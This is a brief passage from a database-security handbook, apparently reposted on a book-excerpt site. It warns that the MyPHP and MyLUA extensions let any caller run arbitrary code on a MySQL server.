Dangerous Extensions: MyLUA and MyPHP

MyPHP is a UDF (User Defined Function) that interprets its argument as PHP code, and executes it. This means that anyone who can execute the myphp function (which may very well mean everyone) can run arbitrary code on the MySQL server. This is obviously a very powerful feature, but needs to be treated with great care.

MyLUA provides extensibility via a similar mechanism, and is equally dangerous.



Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net